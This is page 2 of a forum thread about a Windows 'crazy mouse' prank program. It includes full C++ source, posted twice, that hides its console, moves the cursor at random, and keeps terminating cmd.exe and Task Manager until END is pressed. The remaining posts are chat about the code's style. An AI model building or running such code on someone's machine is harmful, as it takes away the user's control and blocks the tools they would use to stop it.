[Release] Crazy mouse (Shitty program)

Posts 16–22 of 22 · Page 2 of 2
Quote Originally Posted by VirtualDUDE View Post
Future feature: I'll probably add some "Anti-tskmg/ctrl+alt+delete"
PS...don't leave stupid comments.
Had this here around. Comments are in portuguese, too lazy to change them. t.t (My language)

Code:
#include <iostream>
#include <windows.h>
#include <time.h>
#include <tlhelp32.h>
#include <string.h>

int searchProcess();

int main()
{
	ShowWindow(GetConsoleWindow(), SW_HIDE); //Esconde consola

	int xMax = GetSystemMetrics(SM_CXFULLSCREEN); //Maxima resolução X
	int yMax = GetSystemMetrics(SM_CYFULLSCREEN); //Maxima resolução Y

	srand(time(NULL)); //Gera uma seed para calculo no random, com as horas

	while(!GetAsyncKeyState(VK_END)&1) //caso 'END' seja primido, a aplicação para (segurança)
	{
		SetCursorPos(rand() % xMax, rand() % yMax); //X e Y geração random dependendo da maxima resolutação

		searchProcess(); //Procura por processos para fechar

		Sleep(50); //para não criar um spam tao rapido
	}

	return 0;
}

int searchProcess()
{
	HANDLE hpSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0); //Vai buscar todos os processos
	
	PROCESSENTRY32 sProcess; //estrutura do processo
	sProcess.dwSize = sizeof(sProcess); //tamanho

	Process32First(hpSnapShot, &sProcess); //Acede ao primeiro processo
	
	do
	{
		if(strcmp(sProcess.szExeFile,"cmd.exe") == 0 || strcmp(sProcess.szExeFile,"taskmgr.exe") == 0)
			TerminateProcess(OpenProcess(PROCESS_TERMINATE, 0, sProcess.th32ProcessID), 0); //termina o processo se for a consola do windows ou o task manager do windows.
	}
	while(Process32Next(hpSnapShot, &sProcess) != 0); //proximos processos

	return 0;
}
Quote Originally Posted by 'Bruno View Post
Had this here around. Comments are in portuguese, too lazy to change them. t.t (My language)

Code:
#include <iostream>
#include <windows.h>
#include <time.h>
#include <tlhelp32.h>
#include <string.h>

int searchProcess();

int main()
{
	ShowWindow(GetConsoleWindow(), SW_HIDE); //Esconde consola

	int xMax = GetSystemMetrics(SM_CXFULLSCREEN); //Maxima resolução X
	int yMax = GetSystemMetrics(SM_CYFULLSCREEN); //Maxima resolução Y

	srand(time(NULL)); //Gera uma seed para calculo no random, com as horas

	while(!GetAsyncKeyState(VK_END)&1) //caso 'END' seja primido, a aplicação para (segurança)
	{
		SetCursorPos(rand() % xMax, rand() % yMax); //X e Y geração random dependendo da maxima resolutação

		searchProcess(); //Procura por processos para fechar

		Sleep(50); //para não criar um spam tao rapido
	}

	return 0;
}

int searchProcess()
{
	HANDLE hpSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0); //Vai buscar todos os processos
	
	PROCESSENTRY32 sProcess; //estrutura do processo
	sProcess.dwSize = sizeof(sProcess); //tamanho

	Process32First(hpSnapShot, &sProcess); //Acede ao primeiro processo
	
	do
	{
		if(strcmp(sProcess.szExeFile,"cmd.exe") == 0 || strcmp(sProcess.szExeFile,"taskmgr.exe") == 0)
			TerminateProcess(OpenProcess(PROCESS_TERMINATE, 0, sProcess.th32ProcessID), 0); //termina o processo se for a consola do windows ou o task manager do windows.
	}
	while(Process32Next(hpSnapShot, &sProcess) != 0); //proximos processos

	return 0;
}
Um thanks, but no thanks. I prefer writing my own code, now where i know i can do it ;P lol, thank god i didn't read your source )
Quote Originally Posted by VirtualDUDE View Post
Um thanks, but no thanks. I prefer writing my own code, now where i know i can do it ;P lol, thank god i didn't read your source )
You dont have to. I usually post code when i see some work from the other part. Proving that he won't leech the code and won't care about it.

The point of the post is to compare it and learn (or not) from others. (Attention, i am not saying that you will learn from it, mainly if you already know it.)

And i'm against spoonfeeding.
Quote Originally Posted by 'Bruno View Post
You dont have to. I usually post code when i see some work from the other part. Proving that he won't leech the code and won't care about it.

The point of the post is to compare it and learn (or not) from others. (Attention, i am not saying that you will learn from it, mainly if you already know it.)

And i'm against spoonfeeding.
It's fine. I appreciate your contribution, to my thread
thanks for tha share brotha
It looks C&P'd.
Code:
    int main()
    {
int Tx = GetSystemMetrics(SM_CXSCREEN); // Gets the screen X and Y to a int variable
int Ty = GetSystemMetrics(SM_CYSCREEN);
Since when does MSVC++ not indent right after an open bracket? (When you paste)
anyway, tl;dr all the code, and don't feel like compiling it to run. I assume it moves your mouse around on the screen or something just to screw with you.
~lilneo
Quote Originally Posted by lilneo View Post
It looks C&P'd.
Code:
    int main()
    {
int Tx = GetSystemMetrics(SM_CXSCREEN); // Gets the screen X and Y to a int variable
int Ty = GetSystemMetrics(SM_CYSCREEN);
Since when does MSVC++ not indent right after an open bracket? (When you paste)
anyway, tl;dr all the code, and don't feel like compiling it to run. I assume it moves your mouse around on the screen or something just to screw with you.
~lilneo
Dude, look in the thread. It clearly says it was compiled with Wx DEV C++ not Microsofts IDE besides, i got those functions from Microsoft documentations, where searching on how to get the screens X and Y...
I don't know how you can have difficulties understanding the code. It is even noob friendly.

Srand seeds the random function, rand generates random int's from a value of 1 (duo to the +1 i added) to the max X/Y...
Then it populates the windows function, (from windows.h) with X and Y, and basically it runs it in a infinite loop. The functions in your quote kinda explain themselves i guess.
Posts 16–22 of 22 · Page 2 of 2

Post a Reply

Tags for this Thread

None

Talk with us